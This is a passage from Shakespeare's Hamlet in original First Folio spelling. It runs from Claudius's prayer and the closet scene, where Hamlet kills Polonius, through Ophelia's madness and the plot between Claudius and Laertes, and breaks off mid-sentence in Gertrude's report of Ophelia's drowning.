Spirit, vpon whose spirit depends and rests +The liues of many, the cease of Maiestie +Dies not alone; but like a Gulfe doth draw +What's neere it, with it. It is a massie wheele +Fixt on the Somnet of the highest Mount. +To whose huge Spoakes, ten thousand lesser things +Are mortiz'd and adioyn'd: which when it falles, +Each small annexment, pettie consequence +Attends the boystrous Ruine. Neuer alone +Did the King sighe, but with a generall grone + + King. Arme you, I pray you to this speedie Voyage; +For we will Fetters put vpon this feare, +Which now goes too free-footed + + Both. We will haste vs. + +Exeunt. Gent. + +Enter Polonius. + + Pol. My Lord, he's going to his Mothers Closset: +Behinde the Arras Ile conuey my selfe +To heare the Processe. Ile warrant shee'l tax him home, +And as you said, and wisely was it said, +'Tis meete that some more audience then a Mother, +Since Nature makes them partiall, should o're-heare +The speech of vantage. Fare you well my Liege, +Ile call vpon you ere you go to bed, +And tell you what I know + + King. Thankes deere my Lord. +Oh my offence is ranke, it smels to heauen, +It hath the primall eldest curse vpon't, +A Brothers murther. Pray can I not, +Though inclination be as sharpe as will: +My stronger guilt, defeats my strong intent, +And like a man to double businesse bound, +I stand in pause where I shall first begin, +And both neglect; what if this cursed hand +Were thicker then it selfe with Brothers blood, +Is there not Raine enough in the sweet Heauens +To wash it white as Snow? Whereto serues mercy, +But to confront the visage of Offence? +And what's in Prayer, but this two-fold force, +To be fore-stalled ere we come to fall, +Or pardon'd being downe? Then Ile looke vp, +My fault is past. But oh, what forme of Prayer +Can serue my turne? Forgiue me my foule Murther: +That cannot be, since I am still possest +Of those effects for which I did the Murther. +My Crowne, mine owne Ambition, and my Queene: +May one be pardon'd, and retaine th' offence? +In the corrupted currants of this world, +Offences gilded hand may shoue by Iustice, +And oft 'tis seene, the wicked prize it selfe +Buyes out the Law; but 'tis not so aboue, +There is no shuffling, there the Action lyes +In his true Nature, and we our selues compell'd +Euen to the teeth and forehead of our faults, +To giue in euidence. What then? What rests? +Try what Repentance can. What can it not? +Yet what can it, when one cannot repent? +Oh wretched state! Oh bosome, blacke as death! +Oh limed soule, that strugling to be free, +Art more ingag'd: Helpe Angels, make assay: +Bow stubborne knees, and heart with strings of Steele, +Be soft as sinewes of the new-borne Babe, +All may be well. +Enter Hamlet. + + Ham. Now might I do it pat, now he is praying, +And now Ile doo't, and so he goes to Heauen, +And so am I reueng'd: that would be scann'd, +A Villaine killes my Father, and for that +I his foule Sonne, do this same Villaine send +To heauen. Oh this is hyre and Sallery, not Reuenge. +He tooke my Father grossely, full of bread, +With all his Crimes broad blowne, as fresh as May, +And how his Audit stands, who knowes, saue Heauen: +But in our circumstance and course of thought +'Tis heauie with him: and am I then reueng'd, +To take him in the purging of his Soule, +When he is fit and season'd for his passage? No. +Vp Sword, and know thou a more horrid hent +When he is drunke asleepe: or in his Rage, +Or in th' incestuous pleasure of his bed, +At gaming, swearing, or about some acte +That ha's no rellish of Saluation in't, +Then trip him, that his heeles may kicke at Heauen, +And that his Soule may be as damn'd and blacke +As Hell, whereto it goes. My Mother stayes, +This Physicke but prolongs thy sickly dayes. +Enter. + + King. My words flye vp, my thoughts remain below, +Words without thoughts, neuer to Heauen go. +Enter. + +Enter Queene and Polonius. + + Pol. He will come straight: +Looke you lay home to him, +Tell him his prankes haue been too broad to beare with, +And that your Grace hath screen'd, and stoode betweene +Much heate, and him. Ile silence me e'ene heere: +Pray you be round with him + + Ham. within. Mother, mother, mother + + Qu. Ile warrant you, feare me not. +Withdraw, I heare him coming. +Enter Hamlet. + + Ham. Now Mother, what's the matter? + Qu. Hamlet, thou hast thy Father much offended + + + Ham. Mother, you haue my Father much offended + + Qu. Come, come, you answer with an idle tongue + + Ham. Go, go, you question with an idle tongue + + Qu. Why how now Hamlet? + Ham. Whats the matter now? + Qu. Haue you forgot me? + Ham. No by the Rood, not so: +You are the Queene, your Husbands Brothers wife, +But would you were not so. You are my Mother + + Qu. Nay, then Ile set those to you that can speake + + Ham. Come, come, and sit you downe, you shall not +boudge: +You go not till I set you vp a glasse, +Where you may see the inmost part of you? + Qu. What wilt thou do? thou wilt not murther me? +Helpe, helpe, hoa + + Pol. What hoa, helpe, helpe, helpe + + Ham. How now, a Rat? dead for a Ducate, dead + + Pol. Oh I am slaine. + +Killes Polonius + + Qu. Oh me, what hast thou done? + Ham. Nay I know not, is it the King? + Qu. Oh what a rash, and bloody deed is this? + Ham. A bloody deed, almost as bad good Mother, +As kill a King, and marrie with his Brother + + Qu. As kill a King? + Ham. I Lady, 'twas my word. +Thou wretched, rash, intruding foole farewell, +I tooke thee for thy Betters, take thy Fortune, +Thou find'st to be too busie, is some danger. +Leaue wringing of your hands, peace, sit you downe, +And let me wring your heart, for so I shall +If it be made of penetrable stuffe; +If damned Custome haue not braz'd it so, +That it is proofe and bulwarke against Sense + + Qu. What haue I done, that thou dar'st wag thy tong, +In noise so rude against me? + Ham. Such an Act +That blurres the grace and blush of Modestie, +Cals Vertue Hypocrite, takes off the Rose +From the faire forehead of an innocent loue, +And makes a blister there. Makes marriage vowes +As false as Dicers Oathes. Oh such a deed, +As from the body of Contraction pluckes +The very soule, and sweete Religion makes +A rapsidie of words. Heauens face doth glow, +Yea this solidity and compound masse, +With tristfull visage as against the doome, +Is thought-sicke at the act + + Qu. Aye me; what act, that roares so lowd, & thunders +in the Index + + Ham. Looke heere vpon this Picture, and on this, +The counterfet presentment of two Brothers: +See what a grace was seated on his Brow, +Hyperions curles, the front of Ioue himselfe, +An eye like Mars, to threaten or command +A Station, like the Herald Mercurie +New lighted on a heauen-kissing hill: +A Combination, and a forme indeed, +Where euery God did seeme to set his Seale, +To giue the world assurance of a man. +This was your Husband. Looke you now what followes. +Heere is your Husband, like a Mildew'd eare +Blasting his wholsom breath. Haue you eyes? +Could you on this faire Mountaine leaue to feed, +And batten on this Moore? Ha? Haue you eyes? +You cannot call it Loue: For at your age, +The hey-day in the blood is tame, it's humble, +And waites vpon the Iudgement: and what Iudgement +Would step from this, to this? What diuell was't, +That thus hath cousend you at hoodman-blinde? +O Shame! where is thy Blush? Rebellious Hell, +If thou canst mutine in a Matrons bones, +To flaming youth, let Vertue be as waxe. +And melt in her owne fire. Proclaime no shame, +When the compulsiue Ardure giues the charge, +Since Frost it selfe, as actiuely doth burne, +As Reason panders Will + + Qu. O Hamlet, speake no more. +Thou turn'st mine eyes into my very soule, +And there I see such blacke and grained spots, +As will not leaue their Tinct + + Ham. Nay, but to liue +In the ranke sweat of an enseamed bed, +Stew'd in Corruption; honying and making loue +Ouer the nasty Stye + + Qu. Oh speake to me, no more, +These words like Daggers enter in mine eares. +No more sweet Hamlet + + Ham. A Murderer, and a Villaine: +A Slaue, that is not twentieth part the tythe +Of your precedent Lord. A vice of Kings, +A Cutpurse of the Empire and the Rule. +That from a shelfe, the precious Diadem stole, +And put it in his Pocket + + Qu. No more. +Enter Ghost. + + Ham. A King of shreds and patches. +Saue me; and houer o're me with your wings +You heauenly Guards. What would your gracious figure? + Qu. Alas he's mad + + Ham. Do you not come your tardy Sonne to chide, +That laps't in Time and Passion, lets go by +Th' important acting of your dread command? Oh say + + Ghost. Do not forget: this Visitation +Is but to whet thy almost blunted purpose. +But looke, Amazement on thy Mother sits; +O step betweene her, and her fighting Soule, +Conceit in weakest bodies, strongest workes. +Speake to her Hamlet + + Ham. How is it with you Lady? + Qu. Alas, how is't with you? +That you bend your eye on vacancie, +And with their corporall ayre do hold discourse. +Forth at your eyes, your spirits wildely peepe, +And as the sleeping Soldiours in th' Alarme, +Your bedded haire, like life in excrements, +Start vp, and stand an end. Oh gentle Sonne, +Vpon the heate and flame of thy distemper +Sprinkle coole patience. Whereon do you looke? + Ham. On him, on him: look you how pale he glares, +His forme and cause conioyn'd, preaching to stones, +Would make them capeable. Do not looke vpon me, +Least with this pitteous action you conuert +My sterne effects: then what I haue to do, +Will want true colour; teares perchance for blood + + Qu. To who do you speake this? + Ham. Do you see nothing there? + Qu. Nothing at all, yet all that is I see + + Ham. Nor did you nothing heare? + Qu. No, nothing but our selues + + Ham. Why look you there: looke how it steals away: +My Father in his habite, as he liued, +Looke where he goes euen now out at the Portall. +Enter. + + Qu. This is the very coynage of your Braine, +This bodilesse Creation extasie is very cunning in + + Ham. Extasie? +My Pulse as yours doth temperately keepe time, +And makes as healthfull Musicke. It is not madnesse +That I haue vttered; bring me to the Test +And I the matter will re-word: which madnesse +Would gamboll from. Mother, for loue of Grace, +Lay not a flattering Vnction to your soule, +That not your trespasse, but my madnesse speakes: +It will but skin and filme the Vlcerous place, +Whil'st ranke Corruption mining all within, +Infects vnseene. Confesse your selfe to Heauen, +Repent what's past, auoyd what is to come, +And do not spred the Compost on the Weedes, +To make them ranke. Forgiue me this my Vertue, +For in the fatnesse of this pursie times, +Vertue it selfe, of Vice must pardon begge, +Yea courb, and woe, for leaue to do him good + + Qu. Oh Hamlet, +Thou hast cleft my heart in twaine + + Ham. O throw away the worser part of it, +And liue the purer with the other halfe. +Good night, but go not to mine Vnkles bed, +Assume a Vertue, if you haue it not, refraine to night, +And that shall lend a kinde of easinesse +To the next abstinence. Once more goodnight, +And when you are desirous to be blest, +Ile blessing begge of you. For this same Lord, +I do repent: but heauen hath pleas'd it so, +To punish me with this, and this with me, +That I must be their Scourge and Minister. +I will bestow him, and will answer well +The death I gaue him: so againe, good night. +I must be cruell, onely to be kinde; +Thus bad begins and worse remaines behinde + + Qu. What shall I do? + Ham. Not this by no meanes that I bid you do: +Let the blunt King tempt you againe to bed, +Pinch Wanton on your cheeke, call you his Mouse, +And let him for a paire of reechie kisses, +Or padling in your necke with his damn'd Fingers, +Make you to rauell all this matter out, +That I essentially am not in madnesse, +But made in craft. 'Twere good you let him know, +For who that's but a Queene, faire, sober, wise, +Would from a Paddocke, from a Bat, a Gibbe, +Such deere concernings hide, Who would do so, +No in despight of Sense and Secrecie, +Vnpegge the Basket on the houses top: +Let the Birds flye, and like the famous Ape +To try Conclusions in the Basket, creepe +And breake your owne necke downe + + Qu. Be thou assur'd, if words be made of breath, +And breath of life: I haue no life to breath +What thou hast saide to me + + Ham. I must to England, you know that? + Qu. Alacke I had forgot: 'Tis so concluded on + + Ham. This man shall set me packing: +Ile lugge the Guts into the Neighbor roome, +Mother goodnight. Indeede this Counsellor +Is now most still, most secret, and most graue, +Who was in life, a foolish prating Knaue. +Come sir, to draw toward an end with you. +Good night Mother. +Exit Hamlet tugging in Polonius. + +Enter King. + + King. There's matters in these sighes. +These profound heaues +You must translate; Tis fit we vnderstand them. +Where is your Sonne? + Qu. Ah my good Lord, what haue I seene to night? + King. What Gertrude? How do's Hamlet? + Qu. Mad as the Seas, and winde, when both contend +Which is the Mightier, in his lawlesse fit +Behinde the Arras, hearing something stirre, +He whips his Rapier out, and cries a Rat, a Rat, +And in his brainish apprehension killes +The vnseene good old man + + King. Oh heauy deed: +It had bin so with vs had we beene there: +His Liberty is full of threats to all, +To you your selfe, to vs, to euery one. +Alas, how shall this bloody deede be answered? +It will be laide to vs, whose prouidence +Should haue kept short, restrain'd, and out of haunt, +This mad yong man. But so much was our loue, +We would not vnderstand what was most fit, +But like the Owner of a foule disease, +To keepe it from divulging, let's it feede +Euen on the pith of life. Where is he gone? + Qu. To draw apart the body he hath kild, +O're whom his very madnesse like some Oare +Among a Minerall of Mettels base +Shewes it selfe pure. He weepes for what is done + + King. Oh Gertrude, come away: +The Sun no sooner shall the Mountaines touch, +But we will ship him hence, and this vilde deed, +We must with all our Maiesty and Skill +Both countenance, and excuse. +Enter Ros. & Guild. + +Ho Guildenstern: +Friends both go ioyne you with some further ayde: +Hamlet in madnesse hath Polonius slaine, +And from his Mother Clossets hath he drag'd him. +Go seeke him out, speake faire, and bring the body +Into the Chappell. I pray you hast in this. +Exit Gent. + +Come Gertrude, wee'l call vp our wisest friends, +To let them know both what we meane to do, +And what's vntimely done. Oh come away, +My soule is full of discord and dismay. + +Exeunt. + +Enter Hamlet. + + Ham. Safely stowed + + Gentlemen within. Hamlet, Lord Hamlet + + Ham. What noise? Who cals on Hamlet? +Oh heere they come. +Enter Ros. and Guildensterne. + + Ro. What haue you done my Lord with the dead body? + Ham. Compounded it with dust, whereto 'tis Kinne + + Rosin. Tell vs where 'tis, that we may take it thence, +And beare it to the Chappell + + Ham. Do not beleeue it + + Rosin. Beleeue what? + Ham. That I can keepe your counsell, and not mine +owne. Besides, to be demanded of a Spundge, what replication +should be made by the Sonne of a King + + Rosin. Take you me for a Spundge, my Lord? + Ham. I sir, that sokes vp the Kings Countenance, his +Rewards, his Authorities (but such Officers do the King +best seruice in the end. He keepes them like an Ape in +the corner of his iaw, first mouth'd to be last swallowed, +when he needes what you haue glean'd, it is but squeezing +you, and Spundge you shall be dry againe + + Rosin. I vnderstand you not my Lord + + Ham. I am glad of it: a knauish speech sleepes in a +foolish eare + + Rosin. My Lord, you must tell vs where the body is, +and go with vs to the King + + Ham. The body is with the King, but the King is not +with the body. The King, is a thing- + Guild. A thing my Lord? + Ham. Of nothing: bring me to him, hide Fox, and all +after. + +Exeunt. + +Enter King. + + King. I haue sent to seeke him, and to find the bodie: +How dangerous is it that this man goes loose: +Yet must not we put the strong Law on him: +Hee's loued of the distracted multitude, +Who like not in their iudgement, but their eyes: +And where 'tis so, th' Offenders scourge is weigh'd +But neerer the offence: to beare all smooth, and euen, +This sodaine sending him away, must seeme +Deliberate pause, diseases desperate growne, +By desperate appliance are releeued, +Or not at all. +Enter Rosincrane. + +How now? What hath befalne? + Rosin. Where the dead body is bestow'd my Lord, +We cannot get from him + + King. But where is he? + Rosin. Without my Lord, guarded to know your +pleasure + + King. Bring him before vs + + Rosin. Hoa, Guildensterne? Bring in my Lord. +Enter Hamlet and Guildensterne. + + King. Now Hamlet, where's Polonius? + Ham. At Supper + + King. At Supper? Where? + Ham. Not where he eats, but where he is eaten, a certaine +conuocation of wormes are e'ne at him. Your worm +is your onely Emperor for diet. We fat all creatures else +to fat vs, and we fat our selfe for Magots. Your fat King, +and your leane Begger is but variable seruice to dishes, +but to one Table that's the end + + King. What dost thou meane by this? + Ham. Nothing but to shew you how a King may go +a Progresse through the guts of a Begger + + King. Where is Polonius + + Ham. In heauen, send thither to see. If your Messenger +finde him not there, seeke him i'th other place your +selfe: but indeed, if you finde him not this moneth, you +shall nose him as you go vp the staires into the Lobby + + King. Go seeke him there + + Ham. He will stay till ye come + + K. Hamlet, this deed of thine, for thine especial safety +Which we do tender, as we deerely greeue +For that which thou hast done, must send thee hence +With fierie Quicknesse. Therefore prepare thy selfe, +The Barke is readie, and the winde at helpe, +Th' Associates tend, and euery thing at bent +For England + + Ham. For England? + King. I Hamlet + + Ham. Good + + King. So is it, if thou knew'st our purposes + + Ham. I see a Cherube that see's him: but come, for +England. Farewell deere Mother + + King. Thy louing Father Hamlet + + Hamlet. My Mother: Father and Mother is man and +wife: man & wife is one flesh, and so my mother. Come, +for England. + +Exit + + King. Follow him at foote, +Tempt him with speed aboord: +Delay it not, Ile haue him hence to night. +Away, for euery thing is Seal'd and done +That else leanes on th' Affaire, pray you make hast. +And England, if my loue thou holdst at ought, +As my great power thereof may giue thee sense, +Since yet thy Cicatrice lookes raw and red +After the Danish Sword, and thy free awe +Payes homage to vs; thou maist not coldly set +Our Soueraigne Processe, which imports at full +By Letters coniuring to that effect +The present death of Hamlet. Do it England, +For like the Hecticke in my blood he rages, +And thou must cure me: Till I know 'tis done, +How ere my happes, my ioyes were ne're begun. + +Exit + +Enter Fortinbras with an Armie. + + For. Go Captaine, from me greet the Danish King, +Tell him that by his license, Fortinbras +Claimes the conueyance of a promis'd March +Ouer his Kingdome. You know the Rendeuous: +If that his Maiesty would ought with vs, +We shall expresse our dutie in his eye, +And let him know so + + Cap. I will doo't, my Lord + + For. Go safely on. +Enter. + +Enter Queene and Horatio. + + Qu. I will not speake with her + + Hor. She is importunate, indeed distract, her moode +will needs be pittied + + Qu. What would she haue? + Hor. She speakes much of her Father; saies she heares +There's trickes i'th' world, and hems, and beats her heart, +Spurnes enuiously at Strawes, speakes things in doubt, +That carry but halfe sense: Her speech is nothing, +Yet the vnshaped vse of it doth moue +The hearers to Collection; they ayme at it, +And botch the words vp fit to their owne thoughts, +Which as her winkes, and nods, and gestures yeeld them, +Indeed would make one thinke there would be thought, +Though nothing sure, yet much vnhappily + + Qu. 'Twere good she were spoken with, +For she may strew dangerous coniectures +In ill breeding minds. Let her come in. +To my sicke soule (as sinnes true Nature is) +Each toy seemes Prologue, to some great amisse, +So full of Artlesse iealousie is guilt, +It spill's it selfe, in fearing to be spilt. +Enter Ophelia distracted. + + Ophe. Where is the beauteous Maiesty of Denmark + + Qu. How now Ophelia? + Ophe. How should I your true loue know from another one? +By his Cockle hat and staffe, and his Sandal shoone + + Qu. Alas sweet Lady: what imports this Song? + Ophe. Say you? Nay pray you marke. +He is dead and gone Lady, he is dead and gone, +At his head a grasse-greene Turfe, at his heeles a stone. +Enter King. + + Qu. Nay but Ophelia + + Ophe. Pray you marke. +White his Shrow'd as the Mountaine Snow + + Qu. Alas, looke heere my Lord + + Ophe. Larded with sweet Flowers: +Which bewept to the graue did not go, +With true-loue showres + + King. How do ye, pretty Lady? + Ophe. Well, God dil'd you. They say the Owle was +a Bakers daughter. Lord, wee know what we are, but +know not what we may be. God be at your Table + + King. Conceit vpon her Father + + Ophe. Pray you let's haue no words of this: but when +they aske you what it meanes, say you this: +To morrow is S[aint]. Valentines day, all in the morning betime, +And I a Maid at your Window, to be your Valentine. +Then vp he rose, & don'd his clothes, & dupt the chamber dore, +Let in the Maid, that out a Maid, neuer departed more + + King. Pretty Ophelia + + Ophe. Indeed la? without an oath Ile make an end ont. +By gis, and by S[aint]. Charity, +Alacke, and fie for shame: +Yong men wil doo't, if they come too't, +By Cocke they are too blame. +Quoth she before you tumbled me, +You promis'd me to Wed: +So would I ha done by yonder Sunne, +And thou hadst not come to my bed + + King. How long hath she bin thus? + Ophe. I hope all will be well. We must bee patient, +but I cannot choose but weepe, to thinke they should +lay him i'th' cold ground: My brother shall knowe of it, +and so I thanke you for your good counsell. Come, my +Coach: Goodnight Ladies: Goodnight sweet Ladies: +Goodnight, goodnight. +Enter. + + King. Follow her close, +Giue her good watch I pray you: +Oh this is the poyson of deepe greefe, it springs +All from her Fathers death. Oh Gertrude, Gertrude, +When sorrowes comes, they come not single spies, +But in Battalians. First, her Father slaine, +Next your Sonne gone, and he most violent Author +Of his owne iust remoue: the people muddied, +Thicke and vnwholsome in their thoughts, and whispers +For good Polonius death; and we haue done but greenly +In hugger mugger to interre him. Poore Ophelia +Diuided from her selfe, and her faire Iudgement, +Without the which we are Pictures, or meere Beasts. +Last, and as much containing as all these, +Her Brother is in secret come from France, +Keepes on his wonder, keepes himselfe in clouds, +And wants not Buzzers to infect his eare +With pestilent Speeches of his Fathers death, +Where in necessitie of matter Beggard, +Will nothing sticke our persons to Arraigne +In eare and eare. O my deere Gertrude, this, +Like to a murdering Peece in many places, +Giues me superfluous death. + +A Noise within. + +Enter a Messenger. + + Qu. Alacke, what noyse is this? + King. Where are my Switzers? +Let them guard the doore. What is the matter? + Mes. Saue your selfe, my Lord. +The Ocean (ouer-peering of his List) +Eates not the Flats with more impittious haste +Then young Laertes, in a Riotous head, +Ore-beares your Officers, the rabble call him Lord, +And as the world were now but to begin, +Antiquity forgot, Custome not knowne, +The Ratifiers and props of euery word, +They cry choose we? Laertes shall be King, +Caps, hands, and tongues, applaud it to the clouds, +Laertes shall be King, Laertes King + + Qu. How cheerefully on the false Traile they cry, +Oh this is Counter you false Danish Dogges. + +Noise within. Enter Laertes. + + King. The doores are broke + + Laer. Where is the King, sirs? Stand you all without + + All. No, let's come in + + Laer. I pray you giue me leaue + + Al. We will, we will + + Laer. I thanke you: Keepe the doore. +Oh thou vilde King, giue me my Father + + Qu. Calmely good Laertes + + Laer. That drop of blood, that calmes +Proclaimes me Bastard: +Cries Cuckold to my Father, brands the Harlot +Euen heere betweene the chaste vnsmirched brow +Of my true Mother + + King. What is the cause Laertes, +That thy Rebellion lookes so Gyant-like? +Let him go Gertrude: Do not feare our person: +There's such Diuinity doth hedge a King, +That Treason can but peepe to what it would, +Acts little of his will. Tell me Laertes, +Why thou art thus Incenst? Let him go Gertrude. +Speake man + + Laer. Where's my Father? + King. Dead + + Qu. But not by him + + King. Let him demand his fill + + Laer. How came he dead? Ile not be Iuggel'd with. +To hell Allegeance: Vowes, to the blackest diuell. +Conscience and Grace, to the profoundest Pit. +I dare Damnation: to this point I stand, +That both the worlds I giue to negligence, +Let come what comes: onely Ile be reueng'd +Most throughly for my Father + + King. Who shall stay you? + Laer. My Will, not all the world, +And for my meanes, Ile husband them so well, +They shall go farre with little + + King. Good Laertes: +If you desire to know the certaintie +Of your deere Fathers death, if writ in your reuenge, +That Soop-stake you will draw both Friend and Foe, +Winner and Looser + + Laer. None but his Enemies + + King. Will you know them then + + La. To his good Friends, thus wide Ile ope my Armes: +And like the kinde Life-rend'ring Politician, +Repast them with my blood + + King. Why now you speake +Like a good Childe, and a true Gentleman. +That I am guiltlesse of your Fathers death, +And am most sensible in greefe for it, +It shall as leuell to your Iudgement pierce +As day do's to your eye. + +A noise within. Let her come in. + +Enter Ophelia. + + Laer. How now? what noise is that? +Oh heate drie vp my Braines, teares seuen times salt, +Burne out the Sence and Vertue of mine eye. +By Heauen, thy madnesse shall be payed by waight, +Till our Scale turnes the beame. Oh Rose of May, +Deere Maid, kinde Sister, sweet Ophelia: +Oh Heauens, is't possible, a yong Maids wits, +Should be as mortall as an old mans life? +Nature is fine in Loue, and where 'tis fine, +It sends some precious instance of it selfe +After the thing it loues + + Ophe. They bore him bare fac'd on the Beer, +Hey non nony, nony, hey nony: +And on his graue raines many a teare, +Fare you well my Doue + + Laer. Had'st thou thy wits, and did'st perswade Reuenge, +it could not moue thus + + Ophe. You must sing downe a-downe, and you call +him a-downe-a. Oh, how the wheele becomes it? It is +the false Steward that stole his masters daughter + + Laer. This nothings more then matter + + Ophe. There's Rosemary, that's for Remembraunce. +Pray loue remember: and there is Paconcies, that's for +Thoughts + + Laer. A document in madnesse, thoughts & remembrance +fitted + + Ophe. There's Fennell for you, and Columbines: ther's +Rew for you, and heere's some for me. Wee may call it +Herbe-Grace a Sundaies: Oh you must weare your Rew +with a difference. There's a Daysie, I would giue you +some Violets, but they wither'd all when my Father dyed: +They say, he made a good end; +For bonny sweet Robin is all my ioy + + Laer. Thought, and Affliction, Passion, Hell it selfe: +She turnes to Fauour, and to prettinesse + + Ophe. And will he not come againe, +And will he not come againe: +No, no, he is dead, go to thy Death-bed, +He neuer wil come againe. +His Beard as white as Snow, +All Flaxen was his Pole: +He is gone, he is gone, and we cast away mone, +Gramercy on his Soule. +And of all Christian Soules, I pray God. +God buy ye. + +Exeunt. Ophelia + + Laer. Do you see this, you Gods? + King. Laertes, I must common with your greefe, +Or you deny me right: go but apart, +Make choice of whom your wisest Friends you will, +And they shall heare and iudge 'twixt you and me; +If by direct or by Colaterall hand +They finde vs touch'd, we will our Kingdome giue, +Our Crowne, our Life, and all that we call Ours +To you in satisfaction. But if not, +Be you content to lend your patience to vs, +And we shall ioyntly labour with your soule +To giue it due content + + Laer. Let this be so: +His meanes of death, his obscure buriall; +No Trophee, Sword, nor Hatchment o're his bones, +No Noble rite, nor formall ostentation, +Cry to be heard, as 'twere from Heauen to Earth, +That I must call in question + + King. So you shall: +And where th' offence is, let the great Axe fall. +I pray you go with me. + +Exeunt. + +Enter Horatio, with an Attendant. + + Hora. What are they that would speake with me? + Ser. Saylors sir, they say they haue Letters for you + + Hor. Let them come in, +I do not know from what part of the world +I should be greeted, if not from Lord Hamlet. +Enter Saylor. + + Say. God blesse you Sir + + Hor. Let him blesse thee too + + Say. Hee shall Sir, and't please him. There's a Letter +for you Sir: It comes from th' Ambassadours that was +bound for England, if your name be Horatio, as I am let +to know it is. + +Reads the Letter. + +Horatio, When thou shalt haue ouerlook'd this, giue these +Fellowes some meanes to the King: They haue Letters +for him. Ere we were two dayes old at Sea, a Pyrate of very +Warlicke appointment gaue vs Chace. Finding our selues too +slow of Saile, we put on a compelled Valour. In the Grapple, I +boorded them: On the instant they got cleare of our Shippe, so +I alone became their Prisoner. They haue dealt with mee, like +Theeues of Mercy, but they knew what they did. I am to doe +a good turne for them. Let the King haue the Letters I haue +sent, and repaire thou to me with as much hast as thou wouldest +flye death. I haue words to speake in your eare, will make thee +dumbe, yet are they much too light for the bore of the Matter. +These good Fellowes will bring thee where I am. Rosincrance +and Guildensterne, hold their course for England. Of them +I haue much to tell thee, Farewell. +He that thou knowest thine, +Hamlet. +Come, I will giue you way for these your Letters, +And do't the speedier, that you may direct me +To him from whom you brought them. +Enter. + +Enter King and Laertes. + + King. Now must your conscience my acquittance seal, +And you must put me in your heart for Friend, +Sith you haue heard, and with a knowing eare, +That he which hath your Noble Father slaine, +Pursued my life + + Laer. It well appeares. But tell me, +Why you proceeded not against these feates, +So crimefull, and so Capitall in Nature, +As by your Safety, Wisedome, all things else, +You mainly were stirr'd vp? + King. O for two speciall Reasons, +Which may to you (perhaps) seeme much vnsinnowed, +And yet to me they are strong. The Queen his Mother, +Liues almost by his lookes: and for my selfe, +My Vertue or my Plague, be it either which, +She's so coniunctiue to my life, and soule; +That as the Starre moues not but in his Sphere, +I could not but by her. The other Motiue, +Why to a publike count I might not go, +Is the great loue the generall gender beare him, +Who dipping all his Faults in their affection, +Would like the Spring that turneth Wood to Stone, +Conuert his Gyues to Graces. So that my Arrowes +Too slightly timbred for so loud a Winde, +Would haue reuerted to my Bow againe, +And not where I had arm'd them + + Laer. And so haue I a Noble Father lost, +A Sister driuen into desperate tearmes, +Who was (if praises may go backe againe) +Stood Challenger on mount of all the Age +For her perfections. But my reuenge will come + + King. Breake not your sleepes for that, +You must not thinke +That we are made of stuffe, so flat, and dull, +That we can let our Beard be shooke with danger, +And thinke it pastime. You shortly shall heare more, +I lou'd your Father, and we loue our Selfe, +And that I hope will teach you to imagine- +Enter a Messenger. + +How now? What Newes? + Mes. Letters my Lord from Hamlet, This to your +Maiesty: this to the Queene + + King. From Hamlet? Who brought them? + Mes. Saylors my Lord they say, I saw them not: +They were giuen me by Claudio, he receiu'd them + + King. Laertes you shall heare them: +Leaue vs. + +Exit Messenger + +High and Mighty, you shall know I am set naked on your +Kingdome. To morrow shall I begge leaue to see your Kingly +Eyes. When I shall (first asking your Pardon thereunto) recount +th' Occasions of my sodaine, and more strange returne. +Hamlet. +What should this meane? Are all the rest come backe? +Or is it some abuse? Or no such thing? + Laer. Know you the hand? + Kin. 'Tis Hamlets Character, naked and in a Postscript +here he sayes alone: Can you aduise me? + Laer. I'm lost in it my Lord; but let him come, +It warmes the very sicknesse in my heart, +That I shall liue and tell him to his teeth; +Thus diddest thou + + Kin. If it be so Laertes, as how should it be so: +How otherwise will you be rul'd by me? + Laer. If so you'l not o'rerule me to a peace + + Kin. To thine owne peace: if he be now return'd, +As checking at his Voyage, and that he meanes +No more to vndertake it; I will worke him +To an exployt now ripe in my Deuice, +Vnder the which he shall not choose but fall; +And for his death no winde of blame shall breath, +But euen his Mother shall vncharge the practice, +And call it accident: Some two Monthes hence +Here was a Gentleman of Normandy, +I'ue seene my selfe, and seru'd against the French, +And they ran well on Horsebacke; but this Gallant +Had witchcraft in't; he grew into his Seat, +And to such wondrous doing brought his Horse, +As had he beene encorps't and demy-Natur'd +With the braue Beast, so farre he past my thought, +That I in forgery of shapes and trickes, +Come short of what he did + + Laer. A Norman was't? + Kin. A Norman + + Laer. Vpon my life Lamound + + Kin. The very same + + Laer. I know him well, he is the Brooch indeed, +And Iemme of all our Nation + + Kin. Hee mad confession of you, +And gaue you such a Masterly report, +For Art and exercise in your defence; +And for your Rapier most especiall, +That he cryed out, t'would be a sight indeed, +If one could match you Sir. This report of his +Did Hamlet so envenom with his Enuy, +That he could nothing doe but wish and begge, +Your sodaine comming ore to play with him; +Now out of this + + Laer. Why out of this, my Lord? + Kin. Laertes was your Father deare to you? +Or are you like the painting of a sorrow, +A face without a heart? + Laer. Why aske you this? + Kin. Not that I thinke you did not loue your Father, +But that I know Loue is begun by Time: +And that I see in passages of proofe, +Time qualifies the sparke and fire of it: +Hamlet comes backe: what would you vndertake, +To show your selfe your Fathers sonne indeed, +More then in words? + Laer. To cut his throat i'th' Church + + Kin. No place indeed should murder Sancturize; +Reuenge should haue no bounds: but good Laertes +Will you doe this, keepe close within your Chamber, +Hamlet return'd, shall know you are come home: +Wee'l put on those shall praise your excellence, +And set a double varnish on the fame +The Frenchman gaue you, bring you in fine together, +And wager on your heads, he being remisse, +Most generous, and free from all contriuing, +Will not peruse the Foiles? So that with ease, +Or with a little shuffling, you may choose +A Sword vnbaited, and in a passe of practice, +Requit him for your Father + + Laer. I will doo't. +And for that purpose Ile annoint my Sword: +I bought an Vnction of a Mountebanke +So mortall, I but dipt a knife in it, +Where it drawes blood, no Cataplasme so rare, +Collected from all Simples that haue Vertue +Vnder the Moone, can saue the thing from death, +That is but scratcht withall: Ile touch my point, +With this contagion, that if I gall him slightly, +It may be death + + Kin. Let's further thinke of this, +Weigh what conuenience both of time and meanes +May fit vs to our shape, if this should faile; +And that our drift looke through our bad performance, +'Twere better not assaid; therefore this Proiect +Should haue a backe or second, that might hold, +If this should blast in proofe: Soft, let me see +Wee'l make a solemne wager on your commings, +I ha't: when in your motion you are hot and dry, +As make your bowts more violent to the end, +And that he cals for drinke; Ile haue prepar'd him +A Challice for the nonce; whereon but sipping, +If he by chance escape your venom'd stuck, +Our purpose may hold there; how sweet Queene. +Enter Queene. + + Queen. One woe doth tread vpon anothers heele, +So fast they'l follow: your Sister's drown'd Laertes + + Laer. Drown'd! O where? + Queen. There is a Willow growes aslant a Brooke, +That shewes his hore leaues in the glassie streame: +There with fantasticke Garlands did she come, +Of Crow-flowers, Nettles, 